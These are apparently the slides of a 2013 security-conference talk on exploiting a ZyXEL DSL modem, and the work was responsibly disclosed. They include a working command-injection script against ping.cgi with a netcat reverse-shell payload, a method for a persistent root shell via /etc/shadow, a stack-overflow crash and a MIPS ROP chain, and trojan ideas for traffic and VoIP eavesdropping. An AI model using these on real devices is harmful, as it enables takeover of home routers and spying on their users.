

HOW I MET YOUR MODEM

EXPLOIT & TROJAN DEV FOR CONSUMER DSL DEVICES

HACK IN THE BOX 2013 AMSTERDAM - PETER GEISSLER & STEVEN KETELAAR

WHO ARE WE?

STEVEN

- Software developer
- Security fanatic
- Produces dance music
- Eindbazen CTF

PETER


- Developer during day
- Hacker at night
- Worked on Homebrew Channel
- Hack In The Box CTF

INTRODUCTION

- What is a DSL modem?
- Why should we care about them?
- Why did we do this research?

ZYXEL

Interfaces on a typical ZyXEL modem



THE MODEM WE HACKED


ZyXEL P-2601HN-F1




BASIC FEATURES

- Routing DSL traffic
- Network Address Translation
- Voice over IP Telephony
- Management through HTTP, telnet/SSH
- Protects you from the Internet (firewall)


REGULAR NETWORK SETUP



OUR TEST NETWORK SETUP




HITB NETWORK SETUP



ZYXEL MANAGEMENT INTERFACES

LOCAL MANAGEMENT - SSH/TELNET



```
ZySH>
do          - <N/A>
end         - Exit from configuration mode
exit       - Exit configuration mode to the next highest mode in the CLI mode hier
           - archy
history    - Display or clear CLI history
traffic-mirror - <N/A>

ZySH> do show ip route
Destination      Gateway          Genmask          Metric Static IFACE
-----
192.168.1.0      0.0.0.0         255.255.255.0   0 yes  br0
82.170.96.0      0.0.0.0         255.255.248.0   0 yes  nas1
239.0.0.0        0.0.0.0         255.0.0.0       0 yes  br0
0.0.0.0          82.170.103.254  0.0.0.0         0 yes  nas1
ZySH> |
```

ZyShell

A limited shell that allows to control modem specific functionality

LOCAL MANAGEMENT - HTTP



Welcome screen shows all connected devices

PING.CGI

Diagnostic utility provided by the Zyxel webinterface

ZyXEL P-2601HN-F1 Language : (

Diagnostic

Ping/TraceRoute | DSL Line | Ring Test

Ping is a network utility used to test whether a particular host is reachable. Enter either an IP address or a host name and click the button to start a test result will be shown in the area below.


```
PING 192.168.1.87 (192.168.1.87): 56 data bytes
64 bytes from 192.168.1.87: seq=0 ttl=64 time=1.058 ms
64 bytes from 192.168.1.87: seq=1 ttl=64 time=1.209 ms
64 bytes from 192.168.1.87: seq=2 ttl=64 time=0.831 ms
64 bytes from 192.168.1.87: seq=3 ttl=64 time=0.958 ms

— 192.168.1.87 ping statistics —
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.831/1.014/1.209 ms
```

Ping utility output looks familiar to the Linux ping command

PING.CGI - OWNED

Using a semicolon allows us to enter shell commands:




- ;id; uid=0(root) gid=0(root)

PING.CGI - OVERVIEW

- Arbitrary command execution
- Input is not filtered in any way
- Length of command limited (max 36 chars)
- Command runs as root (uid=0)
- Connectback shell is possible

PING.CGI - EXPLOIT

We wrote an ugly bash script to execute commands on the Zyxel



```
3. vim
vim 361
#!/bin/bash

USERNAME="admin"
PASSWORD="1234"
PAYLOAD=${1}

# Maximum command length = 36
# Example: ./zyxel_ping.sh "nc 192.168.1.9 6 -e /bin/sh"
# Listener (BSD): nc -vvv -k -l 6

# Authenticate
curl -s -v -c auth.cookie "http://192.168.1.254/login.cgi" -d "UserName=${USERNAME}&password=${PASSWORD}&hiddenPassword=${PASSWORD}&submitValue=1" > /dev/null 2>&1


# Pwn
echo "Executing ${PAYLOAD} (Length = ${#PAYLOAD})"
curl -s -b auth.cookie "http://192.168.1.254/ping.cgi" -d "ping=1&IPAddress=${PAYLOAD};" | grep -B 2000 "sh: \-c: not found" | grep -A 2000 "textarea" | grep -v "sh: \-c: not found" | sed -E "s/(.*)textarea(.*)> //" | sed 's/\r//' | grep -v "^[ ]*$"

:syntax on
```

- Authenticates against the device (login.cgi)
- Executes the command and filters the output
- Easy to use tool to enter a command and see the output

PING.CGI - EXPLOIT EXAMPLE

- Executing our shellscript
 - `cmd = nc 192.168.1.69 6 -e sh`




```
2. bash (sed)
$ ./zyxel_ping.sh "nc 192.168.1.69 6 -e sh"
Executing nc 192.168.1.69 6 -e sh (Length = 23)
█

3. bash
$ sudo nc -vvv -l 6
id
uid=0(root) gid=0(root)
uname -a
Linux router 2.6.20.19 #43 Thu Nov 3 19:25:03 CST 2011 m
ips unknown
cat /proc/cpuinfo | grep -i model
cpu model          : MIPS 34K V4.12
█
```

Spawns a shell at our listener

DEMO TIME - LOCAL EXPLOIT



PERSISTENT SHELL

- Replacing /etc/passwd to update home folder of 'admin' user to break out of ZySHELL jail
- Replacing /etc/shadow hash for root user to be able to 'su' to root
- Now we can just SSH into the modem

LOCAL BUG CONCLUSION

- Requires credentials/access to admin interface
- Requires access to LAN (by default)
- Yields root privileges :-)

REMOTE MANAGEMENT

TR-069

“**TR-069** (Technical Report 069) is a DSL Forum (which was later renamed as Broadband Forum) technical specification entitled CPE WAN Management Protocol (CWMP). It defines an application layer protocol for remote management of end-user devices.”

 **Note :**

The TCP port 7676 is reserved for TR069 connection request port.

TR-069 - OVERVIEW

- CWMP Protocol
- Used for provisioning and configuration deployment
- CPE: Customer Premise Equipment
- ACS: Auto Configuration Server

TR-069 on ZYXEL - ZYTR069

- HTTP Daemon listening on TCP port 7676
- Uses ZyXEL-RomPager/4.34
- Accessible from any WAN connected host
- Requires (HTTP Digest) authentication to do anything useful

ZYTR069 Files

- /usr/sbin/zytr069main
- /usr/sbin/zytr069cmd
- /usr/lib/librompager.so
- /var/S2_97Process
- /var/pdm/config.xml

ZYTR069 CONFIGURATION

config.xml


```
<ManagementServer>
  <STUNPassword PARAMETER="configured" TYPE="string" LENGTH="256"></STUNPassword>
  <STUNUsername PARAMETER="configured" TYPE="string" LENGTH="256"></STUNUsername>
  <STUNServerAddress PARAMETER="configured" TYPE="string" LENGTH="256">acs.telefoniedienst.nl</STUNServerAddress>
  <ConnectionRequestPassword PARAMETER="configured" TYPE="string" LENGTH="256">*censored*</ConnectionRequestPassword>
  <ConnectionRequestUsername PARAMETER="configured" TYPE="string" LENGTH="256">*censored*</ConnectionRequestUsername>
  <PeriodicInformTime PARAMETER="configured" TYPE="datetime">2011-04-22T14:29:02</PeriodicInformTime>
  <Password PARAMETER="configured" TYPE="string" LENGTH="256"></Password>
  <Username PARAMETER="configured" TYPE="string" LENGTH="256"></Username>
  <URL PARAMETER="configured" TYPE="string" LENGTH="256">http://acs.telefoniedienst.nl/ACS/</URL>
  <STUNEnable PARAMETER="configured" TYPE="boolean">0</STUNEnable>
  <PeriodicInformEnable PARAMETER="configured" TYPE="boolean">1</PeriodicInformEnable>
  <ManageableDeviceNotificationLimit PARAMETER="configured" TYPE="uint16" MAX="65535" MIN="0">0</ManageableDeviceNotific
  <STUNServerPort PARAMETER="configured" TYPE="uint16" MAX="65535" MIN="0">3478</STUNServerPort>
  <STUNMinimumKeepAlivePeriod PARAMETER="configured" TYPE="uint32" MAX="4294967295" MIN="30">60</STUNMinimumKeepAlivePer
  <STUNMaximumKeepAlivePeriod PARAMETER="configured" TYPE="sint31" MAX="2147483647" MIN="-1">-1</STUNMaximumKeepAlivePer
  <UDPConnectionRequestAddressNotificationLimit PARAMETER="configured" TYPE="uint32" MAX="4294967295" MIN="0">0</UDPConn
  <PeriodicInformInterval PARAMETER="configured" TYPE="uint32" MAX="4294967295" MIN="30">21440</PeriodicInformInterval>
</ManagementServer>
```

ZYTR069 URI's

- /CWMP/ConnectionRequest
- /UE/FormDisplay
- /UE/ProcessForm
- /UE/...


ZYTR069 User Exit Form

/UE/FormDisplay



A screenshot of a web browser window showing the 'User Exit Form Page'. The browser's address bar displays 'localhost:7676/UE/FormDisplay'. The page content includes the title 'User Exit Form Page', a text input field with the value 'text', and a button labeled 'Press Here'.

/UE/ProcessForm



A screenshot of a web browser window showing the 'User Exit Form Response Page'. The browser's address bar displays 'localhost:7676/UE/ProcessForm'. The page content includes the title 'User Exit Form Response Page', a message stating 'The string you entered into the form was text', and a link labeled 'Main Page'.

librompager.so test page for POST data

/UE/ProcessForm DoS

- More than ~50 characters of user input crashes zytr069main
- Effectively manages a ZyXEL modem unmanagable (Denial of Service)
- Might also potentially allow arbitrary code execution..

VULNERABILITY DETAILS

- `handle_processForm (0x63448)` is responsible for handling POST requests to the test form
- invokes `RpGetFormItem()` with a destination buffer on the stack of a fixed size (48 bytes)
- `RpGetFormItem` doesn't do any boundschecking and writes past end of buffer.
- Classic stack based buffer overflow.

ROMPAGER CODING PRACTICES

```
/*
   This routine is called for each URL that the RomPager Intro
   Web server processes. This routine is responsible for formatting
   the response that the Web server will send to the browser.
*/

extern void RpExternalCgi(void *theTaskDataPtr, rpCgiPtr theCgiPtr) {
    char *      theFormBufferPtr;
    Boolean     theFoundFlag;
    char  theName[25];
    char  theValue[25];
```



--- 8< ----- *SNIP SNIP* ----- 8< ---

```
else if (theCgiPtr->fHttpRequest == eRpCgiHttpPost) {
    /*
       We got a POST request, so see if it matches the form that
       we know.
    */
    if (RP_STRCMP(theCgiPtr->fPathPtr, "/ProcessForm") == 0) {
        /*
           This is our form, so go retrieve the values.
        */
        theFormBufferPtr = theCgiPtr->fArgumentBufferPtr;
        theFoundFlag = False;
        while (!theFoundFlag && *theFormBufferPtr != '\0') {
            RpGetFormItem(&theFormBufferPtr, theName, theValue);
            if (RP_STRCMP(theName, "The text") == 0) {
                theFoundFlag = True;
            }
        }
    }
}
```



ROMPAGER HTTPD


Overview of services running on Port 80 TCP.

~70.84 Million IP addresses observed from May to December 2012

To get raw lists of the data go to [Download](#) . For an explanation of what this data is and how it was obtained, see [Paper](#) .

ServiceName <small>ⓘ</small>	Product <small>ⓘ</small>	Count <small>ⓘ</small>	Percent <small>ⓘ</small>
http	Apache	14208112	20.057
http	Allegro RomPager	13116974	18.517
http		8881082	12.537
http	Microsoft IIS httpd	6071267	8.571

<http://internetcensus2012.bitbucket.org/paper.html>



BUILDING A MIPS TOOLCHAIN

- It would be nice if we could easily assemble/compile shellcode and binaries for target.
- Some debugging tools like gdb(server) would also be nice..
- Compiling gcc, binutils, libc manually.. ? :(
- buildroot to the rescue!
- \$ make menuconfig && make install
- up and running with relative ease within an

\$PC = 0xBADC0DED

```
# gdb -q /usr/sbin/zytr069main
Reading symbols from /usr/sbin/zytr069main...done.
Disconnect Service Server
Disconnect Service Server
```

Program received signal SIGBUS, Bus error.

Ox42424242 in ?? ()

(gdb) i r

	zero	at	v0	v1	a0	a1	a2	a3
R0	00000000	00000001	000000de	2abb74f4	2abb74f0	2abb7414	80808080	fefefeff
	t0	t1	t2	t3	t4	t5	t6	t7
R8	00000020	20202020	6100636f	00000004	742d6c65	00000010	00000010	2ab38304
	s0	s1	s2	s3	s4	s5	s6	s7
R16	41414141	41414141	2afc95c8	2afecd34	42424242	42424242	00000001	7fcc6ca4
	t8	t9	k0	k1	gp	sp	s8	ra
R24	0000025b	2adf9490	00000000	00000000	2abbdec0	7fcc6af0	7fcc6ca0	42424242
	status	lo	hi	badvaddr	cause	pc		
	0100fc13	19999999	00000005	42424242	10800010	42424242		
	fcsr	fir	restart					
	00000000	00000000	00000000					

:D-]-<

WRITING AN EXPLOIT


- Buffer layout [“A”x48][\$PC]
- Use of basic Return Oriented Programming techniques to bypass separated data/instruction caches.
- Eventually runs own code (shellcode) to get interactive remote root shell

MIPS ROP


- MIPS ROP is kind of awkward
- Separate I- and D-Cache. We need to work around cache incoherency
- `sleep()` is a good way to force a context-switch to happen and sync the CPU cache
- Stack is executable so we only need a minimal ROP chain before returning into shellcode. No ASLR either!
- instruction after branch or jump is always executed first

MIPS ROP - GADGETS PART I

```
# gadget 1
li      a0,1      set arg for sleep
move    t9,s1     set t9 = s1
jalr    t9        jump to gadget 2
ori     a1,s0,0x2
```




```
# gadget 2
move    t9,s1     set t9 = s1 = gadget 2
lw      ra,36(sp)
lw      s2,32(sp)
lw      s1,28(sp) set s1 = sleep
lw      s0,24(sp)
jr      t9        jump to gadget 2
addiu   sp,sp,40
```



```
# gadget 2
move    t9,s1
lw      ra,36(sp) set ra = gadget 3
lw      s2,32(sp)
lw      s1,28(sp)
lw      s0,24(sp)
jr      t9
addiu   sp,sp,40  jump to sleep
```

MIPS ROP - GADGETS PART II

```
# gadget 3
move    v0,s0
lw      ra,36(sp)  set ra = gadget 4
lw      s2,32(sp)
lw      s1,28(sp)  set s1 = gadget 5
lw      s0,24(sp)
jr      ra          jump to gadget 4
addiu   sp,sp,40
```



```
# gadget 4
move    t9,s1
jalr    t9
addiu   a1,sp,184  set a1 = sp+184
```

```
# gadget 5
move    t9,a1
move    a1,a2
jr      t9          jump to shellcode
addiu   a0,a0,8
```

POPPIN' A SHELL - DEMO



No one will crack our
shell and give us
freedom.
We have to do it
ourselves, it's
a daily practice.

Copyright © Thamer Al-Tassan

RESPONSIBLE DISCLOSURE

- Contacted KPN CERT Team
- New firmware rolled out
- Visited for verification
- Everyone happy



LET'S BUILD TROJANS/SPYWARE! FOR DSL MODEMS



LIVE HTTP SNOOPING

- Build libpcap for MIPS
- Add minimal HTTP request parser
- ???
- PROFIT!


VOICE CALL EAVESDROPPING



VOICE CALL EAVESDROPPING - PART II

- VolPong - <http://www.enderunix.org/voipong/>
- Not directly suitable for embedded trojan use.. :-)
- But with some minimal modifications, it is! :-)

VOICE SNOOPING DEMO



TONS OF MORE “FUN”

- We won't focus on C&C right now..
- It's just Linux(tm)
- IPTables rocks!
- SSLStrip is heavy..
- DDoS?
- Expensive outbound calls

THE BOTNET AUCTION BEGINS!



STARTING BID:
\$ 31337

CONCLUSION

- Consumer DSL devices are a viable target
- Oldskool bugs inside of a black box
- More focus on the security of these types of devices is necessary.
- A different architecture or obscure software won't stop a real hacker! ;-)

**THANKS FOR LISTENING!
QUESTIONS?**

GITHUB.COM/BLASTY/HIMYM.GIT